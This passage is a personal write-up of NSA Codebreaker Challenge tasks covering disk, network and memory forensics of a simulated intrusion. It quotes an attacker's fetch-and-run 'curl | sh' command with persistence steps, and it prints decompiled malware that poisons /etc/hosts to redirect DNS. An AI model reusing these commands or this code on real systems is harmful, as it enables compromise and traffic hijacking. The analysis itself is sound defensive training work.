index

Background

The Air Force’s Cyber Operations Squadron is well known for developing tools to ensure the cyber dominance of the United States military. Advanced foreign adversary’s, attempting to gather intelligence as well as bolster their own cyber arsenal, are always searching for ways to infiltrate, sabotage, and steal.

While the defenses in our military networks are robust, they are not impervious and continued vigilance and overwatch are a necessity. Yesterday, one savvy Department of the Air Force Security Operation Center (DAFIN-SOC) analyst noticed unusual behavior and reached out to the 616 Operations Center, and submitted a Request for Information (RFI) to the NSA for assistance.

You have just begun the first tour in your Development Program at NSA with the Cyber Response Team and are looking to make a big impact. You have always read about the threat of Nation-State Advanced Persistent Threats but now you have a chance to personally defend American interests against a sophisticated and capable adversary.

I was pretty motivated to full solve this year’s challenge. I only got to High Performer (task 5) during 2024’s challenge due to time constraints (had to lock in to get my Sec+ cert), and I definitely felt like there was still meat left on the bone. This year, I finally had all the time I needed to get the challenge done. Follow along as I go through the quest of getting that challenge coin.

Task 0 - (Community of Practice, Discord Server)

As a participant in the Codebreaker Challenge, you are invited to join the New Mexico Tech Codebreaker Challenge Community of Practice! This is the 4th year that NMT has partnered with the NSA Codebreaker Challenge. Its purpose remains to give students interested in cybersecurity a place to talk about Codebreaker, cybersecurity, and other related topics. To complete this task, first, join the Discord server. https://discord.gg/SWYCM5xr4N. Once there, type /task0 in the #bot-commands channel. Follow the prompts and paste the answer the bot gives you below.

Solve:

Just join the CBC Discord and follow the steps ¯\(ツ)/¯

Response:

Welcome to the community! Remember, challenge tasks must be done solo and NO SPOILERS! Use ‘Get Help’ for a direct line to NSA.

Task 1 - Getting Started - (Forensics)

You arrive on site and immediately get to work. The DAFIN-SOC team quickly briefs you on the situation. They have noticed numerous anomalous behaviors, such as; tools randomly failing tests and anti-virus flagging on seemingly clean workstations. They have narrowed in on one machine they would like NSA to thoroughly evaluate.

They have provided a zipped EXT2 image from this development machine. Help DAFIN-SOC perform a forensic analysis on this - looking for any suspicious artifacts.

Downloads: zipped EXT2 image (image.ext2.zip)

Prompt: Provide the SHA-1 hash of the suspicious artifact.

Solve:

For this task, we are given an EXT2 image and need to find the SHA-1 hash of a suspicious artifact.

This task was pretty straight forward. First, I unzipped the image and then mounted it at a directory I made on my system at /mnt/task1

1
unzip image.ext2.zip
2

3
sudo mkdir /mnt/task1
4

5
sudo mount -t ext2 -o loop image.ext2 /mnt/task1

We can then cd to /mnt/task1 and run ls to look at the directories we have

1
app  backup  bin  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

Seems like a normal Linux system. I figured that the most important files would actually have content, so running the below command, I list all of the files sorted by size

1
find . -type f -exec du -h {} + 2>/dev/null | sort -hr

Ironically, the file we were looking for wasn’t that big at all. At the bottom of the command output, with the smaller files, I immediately saw a file name that I thought was odd, macwszvxno

1
...
2
...
3
A lot of files
4
...
5
...
6
4.0K    ./etc/conf.d/consolefont
7
4.0K    ./etc/conf.d/bootmisc
8
4.0K    ./etc/bash/bashrc
9
4.0K    ./etc/apk/world
10
4.0K    ./etc/apk/repositories
11
4.0K    ./etc/apk/macwszvxno          <-- Here
12
4.0K    ./etc/apk/keys/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub
13
4.0K    ./etc/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub
14
4.0K    ./etc/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub
15
4.0K    ./etc/apk/keys/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub
16
4.0K    ./etc/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub
17
4.0K    ./etc/apk/arch
18
4.0K    ./etc/alpine-release
19
0       ./lib/apk/db/lock

Pretty lucky that the file is right at the end of the output for us to see. If we cat this file it has the contents

1
U=/a/3504c94c909bcc32cad02e67c8c95850/xxyz
2
P=20
3
A=/app/www

This seems pretty suspicious. Generating the SHA-1 hash of this file with the command below and submitting it solves this task!

I am running the below command from the mounted image’s root directory

1
sha1sum etc/apk/macwszvxno
2
42516e5930be0dde9a8042912cef8c95af9a507d  etc/apk/macwszvxno

In regards to what the intended solve probably was, if we take a look at the bash history in root, we can see some commands revolving around this file by using grep

1
sudo cat root/.bash_history | grep -C 3 macw

Gives us:

1
cd /tmp
2
curl http://127.0.0.1:10000/a/get.sh | sh
3
tar xf t.tar
4
cp c /etc/apk/macwszvxno
5
cp a /bin/console
6
cp b /etc/runlevels/default/console
7
rm -f a
8
--
9
/bin/console -s
10
ps | grep con
11
kill 1020
12
/bin/console -s -o /etc/apk/macwszvxno
13
ps
14
exit
15
last -20
16
--
17
pkill -9 console
18
ps
19
ps | grep console
20
rm -f etc/apk/macwszvxno
21
rm -f /bin/console
22
rm -f /etc/runlevels/default/console
23
exit

As we can see from the first few commands, the bad actor downloads and extracts a payload at http://127.0.0.1:10000/a/get.sh and installs three malicious files, c, a, and b.

1
cd /tmp
2
curl http://127.0.0.1:10000/a/get.sh | sh
3
tar xf t.tar
4
cp c /etc/apk/macwszvxno
5
cp a /bin/console
6
cp b /etc/runlevels/default/console

They then use a, which they name /bin/console to hide it (to make it look like some legitimate binary), to write data to /etc/apk/macwszvxno, which appears to be storing malware parameters or something similar.

1
/bin/console -s -o /etc/apk/macwszvxno

Also, b is copied into /etc/runlevels/default/console so that it automatically starts at boot.

1
cp b /etc/runlevels/default/console

The bad actor then tries to delete all artifacts, as we see in 3 of the last 4 commands:

1
rm -f etc/apk/macwszvxno
2
rm -f /bin/console
3
rm -f /etc/runlevels/default/console

However, /etc/apk/macwszvxno still remains as we know, and thus is the malicious artifact the task is looking for. The file is still on the system because instead of deleting /etc/apk/macwszvxno, the bad actor appears to have mis-inputted, attempting to delete etc/apk/macwszvxno instead, missing that first /. This tries to delete from a directory named etc that is within the current working directory, instead of from /etc. If the bad actor is not working from the root, /, directory, this command won’t work as the bad actor intended. Costly mistake, since it allowed us to find this artifact

Response:

Great job finding that artifact! Let’s report what we found to DAFIN-SOC leadership.

Task 2 - The Hunt Continues - (Network Forensics)

With your help, the team concludes that there was clearly a sophisticated piece of malware installed on that endpoint that was generating some network traffic. Fortunately, DAFIN-SOC also has an IDS which retained the recent network traffic in this segment.

DAFIN-SOC has provided a PCAP to analyze. Thoroughly evaluate the PCAP to identify potential malicious activity.

Downloads: PCAP to analyze (traffic.pcap)

Prompt: Submit all the IP addresses that are assigned to the malicious device, one per line

Solve:

Oh boy I know this one messed with a lot of people, and it got me too, until I found the needle in the haystack

Since the prompt asks us to find “all the IP addresses that are assigned to the malicious device, one per line”, I immediately assumed that the answer would be found by finding a MAC address that is using multiple IPs

Using tshark, I ran a command to print sender MAC Addresses and the IP’s used

tshark -r traffic.pcap \
  -T fields \
  -e sll.src.eth \
  -e ip.src \
  -E separator=$'\t' |
awk '
{
  mac=$1
  ip=$2

  if (mac != "" && !(mac in seen_mac)) {
    print mac
    seen_mac[mac]=1
  }

  if (mac != "" && ip != "") {
    key = mac FS ip
    if (!(key in seen)) {
      printf "%s\t%s\n", mac, ip
      seen[key]=1
    }
  }

  if (mac == "" && ip != "") {
    lone[ip]=1
  }
}
END {
  for (ip in lone) {
    printf "\t%s\n", ip
  }
}'

Then used a Python script to read through the output and give me a clean result:

1
from collections import defaultdict
2

3
mac_to_ips = defaultdict(set)
4

5
with open("mac_ip_pairs.txt") as f:
6
    for line in f:
7
        parts = line.strip().split()
8
        if len(parts) == 2:
9
            mac, ips_str = parts
10
            # Split by comma in case there are multiple IPs
11
            for ip in ips_str.split(','):
12
                ip_clean = ip.strip()
13
                if ip_clean:
14
                    mac_to_ips[mac].add(ip_clean)
15

16
for mac in sorted(mac_to_ips):
17
    print(f"{mac}: {', '.join(sorted(mac_to_ips[mac]))}")

We get an interesting result when running this script

1
00:0c:29:17:09:04: 172.21.1.5, 192.168.1.140, 192.168.2.254, 192.168.2.50, 192.168.4.1, 192.168.5.1
2
00:0c:29:17:09:0e: 0.0.0.0, 172.21.1.254, 192.168.2.254, 192.168.2.50
3
00:0c:29:17:09:18: 192.168.2.50
4
00:0c:29:17:09:22: 192.168.2.50
5
00:0c:29:17:09:2c: 192.168.2.50, 192.168.46.133, 192.168.46.2
6
00:0c:29:40:71:dc: 192.168.2.50
7
00:0c:29:42:d9:fe: 172.21.1.5, 192.168.2.50
8
00:0c:29:6b:81:d4: 172.21.1.230
9
00:0c:29:77:42:f6: 192.168.3.254, 192.168.5.1
10
00:0c:29:d6:0d:49: 192.168.1.140, 192.168.1.254, 192.168.2.50, 192.168.4.1
11
00:50:56:ea:6e:7a: 192.168.46.2, 216.31.17.12, 45.83.234.123
12
00:50:56:f4:78:30: 192.168.46.254

Looks like there are multiple MAC Addresses that are sending packets using different IP addresses. Well, this got a whole lot more complicated.

I tried submitting some of these to see if any of these were correct, and interestingly, submitting the two IPs assigned to the MAC 00:0c:29:77:42:f6 as seen here:

00:0c:29:77:42:f6: 192.168.3.254, 192.168.5.1

Actually gave me a different “Incorrect answer” message stating that I had some of the correct IPs but not all of them. Where to go from here?

Skipping the hours of going through the pcap in Wireshark trying to find anything interesting, I finally found the aforementioned needle in the haystack.

When filtering by FTP traffic, we can see some files get transmitted. In the above image is one such example where we see a file router3_backup.config being transmitted. There are actually 2 more of these router config files transmitted as well, router1_backup.config and router2_backup.config, but this 3rd one is the most interesting.

If we look at its contents we can see some interesting things:

1
config interface 'loopback'
2
    option device 'lo'
3
    option proto 'static'
4
    option ipaddr '127.9.7.3'
5
    option netmask '255.0.0.0'
6

7
config globals 'globals'
8
    option ula_prefix 'fdf2:87c7:eb73::/48'
9
    option packet_steering '1'
10

11
config device
12
    option name 'br-lan'
13
    option type 'bridge'
14
    list ports 'eth0'
15

16
config interface 'lan'
17
    option device 'br-lan'
18
    option proto 'static'
19
    option ipaddr '192.168.3.254'
20
    option netmask '255.255.255.0'
21
    option ip6assign '60'
22

23
config interface 'to_openwrt2'
24
    option device 'eth1'
25
    option proto 'static'
26
    list ipaddr '192.168.5.1/28'
27

28
config interface 'host_nat'
29
    option proto 'dhcp'
30
    option device 'eth2'
31

32
config route
33
    option target '192.168.3.0/24'
34
    option gateway '192.168.3.254'
35
    option interface 'lan'
36

37
config route
38
    option target '0.0.0.0/0'
39
    option gateway '192.168.5.2'
40
    option interface 'to_openwrt2'

Well would you look at that, the two IPs we know are correct are being used as the ipaddr for the config interface settings!

1
config interface 'lan'
2
    option device 'br-lan'
3
    option proto 'static'
4
    option ipaddr '192.168.3.254'          <--- Here
5
    option netmask '255.255.255.0'
6
    option ip6assign '60'
7

8
config interface 'to_openwrt2'
9
    option device 'eth1'
10
    option proto 'static'
11
    list ipaddr '192.168.5.1/28'          <--- Here

So this configuration file is definitely heading in the right direction. What are the missing IPs though? Well the prompt does ask for “all the IP addresses that are assigned to the malicious device”, which means that that would include the IP used in the loopback interface:

1
config interface 'loopback'
2
    option device 'lo'
3
    option proto 'static'
4
    option ipaddr '127.9.7.3'
5
    option netmask '255.0.0.0'

So 127.9.3.7 was our last IP we were missing

Submitting

1
192.168.3.254
2
192.168.5.1
3
127.9.7.3

solves this task!

Backtracking

After looking back at this task for this writeup, it appears that I got the right answer but I didn’t really follow the intended solve

So the malicous device is actually a malicious DNS server. By filtering for DNS, and working backwards since we know its assigned IPs now, specifically using 192.168.3.254, we can see that it was providing malicious DNS responses to queries for archive.ubuntu.com

archive.ubuntu.com should never be resolving to this IP address. You can also confirm that the IP, 203.0.113.108, is suspicious by filtering for traffic by that IP and finding this interesting TCP stream

That looks like some kind of public key transmitted, and something about the key being recieved? That doesn’t look normal at all.

This is actually a teaser for Task 5, and isn’t needed to solve Task 2, so keep reading if you want to see where that leads!

From here, you were then supposed to hunt down the same config file we found earlier to find the other 2 IP addresses assigned to the device (that being 192.168.5.1 and 127.9.7.3)

To conclude, I started looking at MACs using multiple IPs, but in reality you were supposed to use this malicious DNS query as the starting point of your investigation to then lead you to the correct config file (remember there are 2 other ones) and therefore the remaining two IPs.

Cool stuff. Regardless of how we got there though, we got our task 2 badge.

Response:

Excellent work identifying the suspicious network traffic and narrowing in on the source! We will head over to the network administrators to discuss what we have discovered.

Task 3 - Digging deeper - (Reverse Engineering)

The network administrators confirm that the IP address you provided in your description is an edge router. DAFIN-SOC is asking you to dive deeper and reverse engineer this device. Fortunately, their team managed to pull a memory dump of the device.

Scour the device’s memory dump and identify anomalous or malicious activity to find out what’s going on.

Your submission will be a list of IPs and domains, one per line. For example:

1
127.0.0.1 localhost
2
192.168.54.131 corp.internal
3
...

Downloads: Memory Dump (memory.dump.gz), Metadata (System.map.br), Kernel Image (vmlinux.xz)

Prompt: Submit a complete list of affected IPs and FQDNs, one per line.

Solve:

Finally, we got to the good part, reverse engineering

We are given a memory dump, so some digital forensics is required before we can get there though.

Volatility Reveals All

Volatility will of course be our go to tool for this. We need a symbol table though so that we can get actual useful data from the memory dump. We can do this with the tool, drarf2json

1
~/dwarf2json/dwarf2json linux --elf vmlinux --system-map System.map > symtable.json

I first started with looking at processes with Volatility (make sure --symbol-dirs is pointing to the directory that you made your symbol table JSON file in)

1
python3 ~/tools/volatility3/vol.py -f memory.dump --symbol-dirs=. linux.psaux.PsAux

Immediately we can see a suspicious process, near the bottom of the output

1
1244    1       dropbear        /usr/sbin/dropbear -F -P /var/run/dropbear.1.pid -p 22 -K 300 -T 3
2
1405    1       netifd  /sbin/netifd
3
1524    1       odhcpd  /usr/sbin/odhcpd
4
1552    515     4       /bin/resolver-refresh /proc/self/fd/5         <--- What is this?
5
1744    1       ntpd    /sbin/ujail -t 5 -n ntpd -U ntp -G ntp -C /etc/capabilities/ntpd.json -c -u -r /bin/ubus -r /usr/bin/env -r /usr/bin/jshn -r /usr/sbin/ntpd-hotplug -r /usr/share/libubox/jshn.sh -- /usr/sbin/ntpd -n -N -S /usr/sbin/ntpd-hotplug -p 0.openwrt.pool.ntp.org -p 1.openwrt.pool.ntp.org -p 2.openwrt.pool.ntp.org -p 3.openwrt.pool.ntp.org
6
1749    1744    ntpd    /usr/sbin/ntpd -n -N -S /usr/sbin/ntpd-hotplug -p 0.openwrt.pool.ntp.org -p 1.openwrt.pool.ntp.org -p 2.openwrt.pool.ntp.org -p 3.openwrt.pool.ntp.org
7
1854    1552    service /bin/sh /sbin/service dnsmasq restart
8
1855    1854    dnsmasq /bin/sh /etc/rc.common /etc/init.d/dnsmasq restart

The process with a PID of 1552 is doing something with a file descriptor, and also, the command name is just 4?

1
1552    515     4       /bin/resolver-refresh /proc/self/fd/5

This is really suspicious. Let’s look deeper. We can dump the virtual memory sections of this process with Volatility (just make sure -f and --symbol-dir are pointing to the right files / directories)

1
python3 ~/tools/volatility3/vol.py  -f ../../memory.dump --symbol-dir=../.. linux.proc.Maps --pid 1552 --dump

It shows us what exactly each section is once we do this

1
PID     Process Start   End     Flags   PgOff   Major   Minor   Inode   File Path       File output
2

3
1552    4       0x557c6ca39000  0x557c6ca3a000  r--     0x0     0       1       1024    /memfd:x (deleted)      pid.1552.vma.0x557c6ca39000-0x557c6ca3a000.dmp
4
1552    4       0x557c6ca3a000  0x557c6ca3b000  r-x     0x1000  0       1       1024    /memfd:x (deleted)      pid.1552.vma.0x557c6ca3a000-0x557c6ca3b000.dmp
5
1552    4       0x557c6ca3b000  0x557c6ca3c000  r--     0x2000  0       1       1024    /memfd:x (deleted)      pid.1552.vma.0x557c6ca3b000-0x557c6ca3c000.dmp
6
1552    4       0x557c6ca3c000  0x557c6ca3d000  r--     0x2000  0       1       1024    /memfd:x (deleted)      pid.1552.vma.0x557c6ca3c000-0x557c6ca3d000.dmp
7
1552    4       0x557c6ca3d000  0x557c6ca3e000  rw-     0x3000  0       1       1024    /memfd:x (deleted)      pid.1552.vma.0x557c6ca3d000-0x557c6ca3e000.dmp
8
1552    4       0x557c6d607000  0x557c6d608000  ---     0x0     0       0       0       Anonymous Mapping       pid.1552.vma.0x557c6d607000-0x557c6d608000.dmp
9
1552    4       0x557c6d608000  0x557c6d609000  rw-     0x0     0       0       0       Anonymous Mapping       pid.1552.vma.0x557c6d608000-0x557c6d609000.dmp
10
1552    4       0x7f495f4c3000  0x7f495f4c4000  rw-     0x0     0       0       0       Anonymous Mapping       pid.1552.vma.0x7f495f4c3000-0x7f495f4c4000.dmp
11
1552    4       0x7f495f4c4000  0x7f495f4d8000  r--     0x0     254     0       361     /lib/libc.so    pid.1552.vma.0x7f495f4c4000-0x7f495f4d8000.dmp
12
1552    4       0x7f495f4d8000  0x7f495f524000  r-x     0x14000 254     0       361     /lib/libc.so    pid.1552.vma.0x7f495f4d8000-0x7f495f524000.dmp
13
1552    4       0x7f495f524000  0x7f495f539000  r--     0x60000 254     0       361     /lib/libc.so    pid.1552.vma.0x7f495f524000-0x7f495f539000.dmp
14
1552    4       0x7f495f539000  0x7f495f53a000  r--     0x74000 254     0       361     /lib/libc.so    pid.1552.vma.0x7f495f539000-0x7f495f53a000.dmp
15
1552    4       0x7f495f53a000  0x7f495f53b000  rw-     0x75000 254     0       361     /lib/libc.so    pid.1552.vma.0x7f495f53a000-0x7f495f53b000.dmp
16
1552    4       0x7f495f53b000  0x7f495f53e000  rw-     0x0     0       0       0       Anonymous Mapping       pid.1552.vma.0x7f495f53b000-0x7f495f53e000.dmp
17
1552    4       0x7ffecdd2b000  0x7ffecdd4c000  rw-     0x0     0       0       0       [stack] pid.1552.vma.0x7ffecdd2b000-0x7ffecdd4c000.dmp
18
1552    4       0x7ffecdda9000  0x7ffecddad000  r--     0x0     0       0       0       Anonymous Mapping       pid.1552.vma.0x7ffecdda9000-0x7ffecddad000.dmp
19
1552    4       0x7ffecddad000  0x7ffecddae000  r-x     0x0     0       0       0       [vdso]  pid.1552.vma.0x7ffecddad000-0x7ffecddae000.dmp

Since some of these memory sections are part of what is some binary executable, we can cat these sections together until we get an executable file. As seen below, the first memfd:x (deleted) section shows us an ELF header

I am going to cat all the memfd:x (deleted) sections together and see if we can get an executable file

1
cat pid.1552.vma.0x557c6ca39000-0x557c6ca3a000.dmp pid.1552.vma.0x557c6ca3a000-0x557c6ca3b000.dmp pid.1552.vma.0x557c6ca3b000-0x557c6ca3c000.dmp pid.1552.vma.0x557c6ca3c000-0x557c6ca3d000.dmp pid.1552.vma.0x557c6ca3d000-0x557c6ca3e000.dmp > some_file

If we run file on this, we get

1
some_file: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, missing section headers at 59168

Bingo. Just to be 100% sure, we can also make this file executable and try to run it

If you are going to do this on what is very likely malware, do it in a sandboxed environment, or don’t do it at all, and just try to statically analyze it instead. I do it below just to get the point across that we do indeed have an executable file

1
./some_file
2
Usage: ./some_file <encoded file>

This is even more telling that we have something. It’s Ghidra time!

Go Go Ghidra

Remember, from the file command output, the binary is missing section headers, meaning the original symbol and function names are unavailable, making the binary a little harder to reverse engineer. However, we can pretty easily find the main function by trying to find libc_start_main

Note I had already done some function renaming in the below disassembly snippets

1
void start_main(undefined4 *param_1)
2

3
{
4
  __libc_start_main(&main,*param_1,param_1 + 2,&__DT_INIT,&__DT_FINI,0);
5
  return;
6
}

Now we can take a look at the main function

1
undefined8 UndefinedFunction_00101c7e(int param_1,undefined8 *param_2)
2

3
{
4
  undefined8 uVar1;
5
  long in_FS_OFFSET;
6
  undefined8 uStack_40;
7
  ulong uStack_38;
8
  void *pvStack_30;
9
  undefined4 *puStack_28;
10
  undefined4 *puStack_20;
11
  long lStack_18;
12
  long lStack_10;
13

14
  lStack_10 = *(long *)(in_FS_OFFSET + 0x28);
15
  if (param_1 == 2) {
16
    FUN_001012bf();
17
    uStack_40 = 0;
18
    pvStack_30 = (void *)read_file_into_memory(param_2[1],&uStack_40);
19
    if (pvStack_30 == (void *)0x0) {
20
      uVar1 = 1;
21
    }
22
    else {
23
      uStack_38 = 0;
24
      puStack_28 = (undefined4 *)base64_decode(pvStack_30,uStack_40,&uStack_38);
25
      free(pvStack_30);
26
      if (puStack_28 == (undefined4 *)0x0) {
27
        uVar1 = 1;
28
      }
29
      else if (uStack_38 < 4) {
30
        fwrite("Decoded payload too short to even have the key...\n",1,0x32,(FILE *)0x0);
31
        free(puStack_28);
32
        uVar1 = 1;
33
      }
34
      else {
35
        puStack_20 = puStack_28 + 1;
36
        lStack_18 = uStack_38 - 4;
37
        decrypt(puStack_20,lStack_18,*puStack_28);
38
        write_to_hosts(puStack_20,lStack_18);
39
        system("service dnsmasq restart");
40
        free(puStack_28);
41
        FUN_0010156c();
42
        uVar1 = 0;
43
      }
44
    }
45
  }
46
  else {
47
    fprintf((FILE *)0x0,"Usage: %s <encoded file>\n",*param_2);
48
    uVar1 = 1;
49
  }
50
  if (lStack_10 != *(long *)(in_FS_OFFSET + 0x28)) {
51
                    /* WARNING: Subroutine does not return */
52
    __stack_chk_fail();
53
  }
54
  return uVar1;
55
}

Again, the above snippet already shows the result of my analyzing functions and renaming them based on what they do. Regardless, starting from the top and going downwards, we first see a function that reads a file into memory

1
void * read_file_into_memory(char *param_1,size_t *param_2)
2

3
{
4
  int iVar1;
5
  FILE *__stream;
6
  void *__ptr;
7
  size_t sVar2;
8

9
  printf("opening %s\n",param_1);
10
  __stream = fopen(param_1,"rb");
11
  if (__stream == (FILE *)0x0) {
12
    perror("fopen");
13
    __ptr = (void *)0x0;
14
  }
15
  else {
16
    printf("opened %s\n",param_1);
17
    iVar1 = fseek(__stream,0,2);
18
    if (iVar1 == 0) {
19
      sVar2 = ftell(__stream);
20
      if ((long)sVar2 < 0) {
21
        perror("ftell");
22
        fclose(__stream);
23
        __ptr = (void *)0x0;
24
      }
25
      else {
26
        rewind(__stream);
27
        __ptr = malloc(sVar2 + 1);
28
        if (__ptr == (void *)0x0) {
29
          perror("malloc");
30
          fclose(__stream);
31
          __ptr = (void *)0x0;
32
        }
33
        else {
34
          sVar2 = fread(__ptr,1,sVar2,__stream);
35
          iVar1 = ferror(__stream);
36
          if (iVar1 == 0) {
37
            *(undefined *)(sVar2 + (long)__ptr) = 0;
38
            fclose(__stream);
39
            *param_2 = sVar2;
40
          }
41
          else {
42
            perror("fread");
43
            free(__ptr);
44
            fclose(__stream);
45
            __ptr = (void *)0x0;
46
          }
47
        }
48
      }
49
    }
50
    else {
51
      perror("fseek");
52
      fclose(__stream);
53
      __ptr = (void *)0x0;
54
    }
55
  }
56
  return __ptr;
57
}

And also a function that performs some kind of base64 decoding

1
void * base64_decode(long param_1,size_t param_2,long *param_3)
2

3
{
4
  long lVar1;
5
  char cVar2;
6
  char cVar3;
7
  char cVar4;
8
  char cVar5;
9
  char cVar6;
10
  char cVar7;
11
  uint uVar8;
12
  void *__ptr;
13
  void *pvVar9;
14
  ulong local_38;
15
  ulong local_30;
16
  long local_28;
17
  ulong local_20;
18

19
  __ptr = malloc(param_2);
20
  if (__ptr == (void *)0x0) {
21
    perror("malloc");
22
    pvVar9 = (void *)0x0;
23
  }
24
  else {
25
    local_38 = 0;
26
    for (local_30 = 0; local_30 < param_2; local_30 = local_30 + 1) {
27
      cVar2 = *(char *)((ulong)*(byte *)(local_30 + param_1) + 0x104040);
28
      if ((-1 < cVar2) || (cVar2 == -2)) {
29
        *(undefined *)((long)__ptr + local_38) = *(undefined *)(param_1 + local_30);
30
        local_38 = local_38 + 1;
31
      }
32
    }
33
    pvVar9 = malloc((local_38 >> 2) * 3 + 4);
34
    if (pvVar9 == (void *)0x0) {
35
      perror("malloc");
36
      free(__ptr);
37
      pvVar9 = (void *)0x0;
38
    }
39
    else {
40
      local_28 = 0;
41
      local_20 = 0;
42
      while (local_20 < local_38) {
43
        if (local_20 < local_38) {
44
          cVar2 = *(char *)((ulong)*(byte *)(local_20 + (long)__ptr) + 0x104040);
45
          local_20 = local_20 + 1;
46
        }
47
        else {
48
          cVar2 = -2;
49
        }
50
        if (local_20 < local_38) {
51
          cVar3 = *(char *)((ulong)*(byte *)(local_20 + (long)__ptr) + 0x104040);
52
          local_20 = local_20 + 1;
53
        }
54
        else {
55
          cVar3 = -2;
56
        }
57
        if (local_20 < local_38) {
58
          cVar4 = *(char *)((ulong)*(byte *)(local_20 + (long)__ptr) + 0x104040);
59
          local_20 = local_20 + 1;
60
        }
61
        else {
62
          cVar4 = -2;
63
        }
64
        if (local_20 < local_38) {
65
          cVar5 = *(char *)((ulong)*(byte *)(local_20 + (long)__ptr) + 0x104040);
66
          local_20 = local_20 + 1;
67
        }
68
        else {
69
          cVar5 = -2;
70
        }
71
        if ((cVar2 < '\0') || (cVar3 < '\0')) break;
72
        cVar6 = cVar4;
73
        if (cVar4 < '\0') {
74
          cVar6 = '\0';
75
        }
76
        cVar7 = cVar5;
77
        if (cVar5 < '\0') {
78
          cVar7 = '\0';
79
        }
80
        uVar8 = (int)cVar7 | (int)cVar2 << 0x12 | (int)cVar3 << 0xc | (int)cVar6 << 6;
81
        *(char *)(local_28 + (long)pvVar9) = (char)(uVar8 >> 0x10);
82
        lVar1 = local_28 + 1;
83
        if (cVar4 != -2) {
84
          *(char *)(local_28 + 1 + (long)pvVar9) = (char)(uVar8 >> 8);
85
          lVar1 = local_28 + 2;
86
        }
87
        local_28 = lVar1;
88
        if (cVar5 != -2) {
89
          *(char *)(local_28 + (long)pvVar9) = (char)uVar8;
90
          local_28 = local_28 + 1;
91
        }
92
        if ((cVar4 == -2) || (cVar5 == -2)) break;
93
      }
94
      free(__ptr);
95
      *param_3 = local_28;
96
    }
97
  }
98
  return pvVar9;
99
}

There is also some kind of custom decryption scheme

1
void decrypt(long param_1,ulong param_2,uint param_3)
2

3
{
4
  byte bVar1;
5
  byte local_17;
6
  uint local_14;
7
  ulong i;
8

9
  local_17 = (byte)param_3;
10
  local_14 = param_3;
11
  for (i = 0; i < param_2; i = i + 1) {
12
    local_14 = local_14 + 0x722633ad;
13
    bVar1 = *(byte *)(i + param_1);
14
    *(byte *)(i + param_1) = bVar1 ^ (byte)(local_14 >> 0xd) ^ (byte)local_14 ^ local_17;
15
    local_17 = bVar1;
16
  }
17
  return;
18
}

A function to write to /etc/hosts

1
void write_to_hosts(void *param_1,size_t param_2)
2

3
{
4
  ulong uVar1;
5
  int iVar2;
6
  char *__dest;
7
  void *pvVar3;
8
  FILE *__stream;
9
  ulong local_50;
10
  ulong local_48;
11
  void *local_40;
12
  char *local_38;
13
  ulong local_30;
14

15
  __dest = (char *)malloc(param_2 + 1);
16
  if (__dest == (char *)0x0) {
17
    perror("malloc");
18
                    /* WARNING: Subroutine does not return */
19
    exit(1);
20
  }
21
  memcpy(__dest,param_1,param_2);
22
  __dest[param_2] = '\0';
23
  local_50 = 0x40;
24
  local_48 = 0;
25
  local_40 = malloc(0x200);
26
  local_38 = __dest;
27
  if (local_40 == (void *)0x0) {
28
    perror("malloc tok");
29
    free(__dest);
30
                    /* WARNING: Subroutine does not return */
31
    exit(1);
32
  }
33
  while (*local_38 != '\0') {
34
    while ((*local_38 != '\0' && (iVar2 = FUN_00101299(*local_38), iVar2 != 0))) {
35
      local_38 = local_38 + 1;
36
    }
37
    if (*local_38 == '\0') break;
38
    pvVar3 = local_40;
39
    if (local_48 == local_50) {
40
      pvVar3 = realloc(local_40,local_50 << 4);
41
      local_50 = local_50 * 2;
42
      if (pvVar3 == (void *)0x0) {
43
        perror("realloc tok");
44
        free(local_40);
45
        free(__dest);
46
                    /* WARNING: Subroutine does not return */
47
        exit(1);
48
      }
49
    }
50
    local_40 = pvVar3;
51
    uVar1 = local_48 + 1;
52
    *(char **)(local_48 * 8 + (long)local_40) = local_38;
53
    while ((*local_38 != '\0' && (iVar2 = FUN_00101299(*local_38), iVar2 == 0))) {
54
      local_38 = local_38 + 1;
55
    }
56
    local_48 = uVar1;
57
    if (*local_38 != '\0') {
58
      *local_38 = '\0';
59
      local_38 = local_38 + 1;
60
    }
61
  }
62
  puts("opening /etc/hosts");
63
  __stream = fopen("/etc/hosts","a");
64
  if (__stream != (FILE *)0x0) {
65
    for (local_30 = 0; local_30 < local_48 >> 1; local_30 = local_30 + 1) {
66
      fprintf(__stream,"%s %s\n",*(undefined8 *)((long)local_40 + local_30 * 0x10),
67
              *(undefined8 *)((long)local_40 + local_30 * 0x10 + 8));
68
    }
69
    fclose(__stream);
70
    if ((local_48 & 1) != 0) {
71
      fprintf((FILE *)0x0,"warning: weird token count (%zu); ignoring last... check this fff\n",
72
              local_48);
73
    }
74
    free(local_40);
75
    free(__dest);
76
    return;
77
  }
78
  perror("fopen /etc/hosts");
79
  free(local_40);
80
  free(__dest);
81
                    /* WARNING: Subroutine does not return */
82
  exit(1);
83
}

And also a call to system to restart dnsmasq

1
system("service dnsmasq restart");

It is very clear what this binary does. It reads some sort of file into memory, which it assumes is in base64 format, decodes it, decrypts the result, writes the result to /etc/hosts, and restarts dnsmasq

This is pretty obviously a malware, with the base64 encoded file very likely containing encrypted malicious entries to have your system resolve domain names to malicious IPs.

The prompt asks us to “submit a complete list of affected IPs and FQDNs, one per line”, so we have to mimic this base64 decoding and decryption logic and use it on a file that was inputted to this malicious binary.

The question is, where do we find said file? Well remember in the Ghidra disassembly, it writes the inputted file to memory. So the file’s contents are very likely in our memory dump, specifically in one of the virtual memory sections we had already dumped for the 1552 process.

With the below grep command, we can search for any base64 content since, as we know, the binary reads in a base64 encoded file

1
grep -R --binary-files=text -E '[A-Za-z0-9+/]{20,}={0,2}' .

The full base64 was in the contents of the malicious binary itself, or more accurately, one of the memory sections that it consists of, which was part of the cat command from earlier. The actual memory dump file it was in was pid.1552.vma.0x557c6ca3d000-0x557c6ca3e000.dmp.

Now we have the inputted file contents! Specifically:

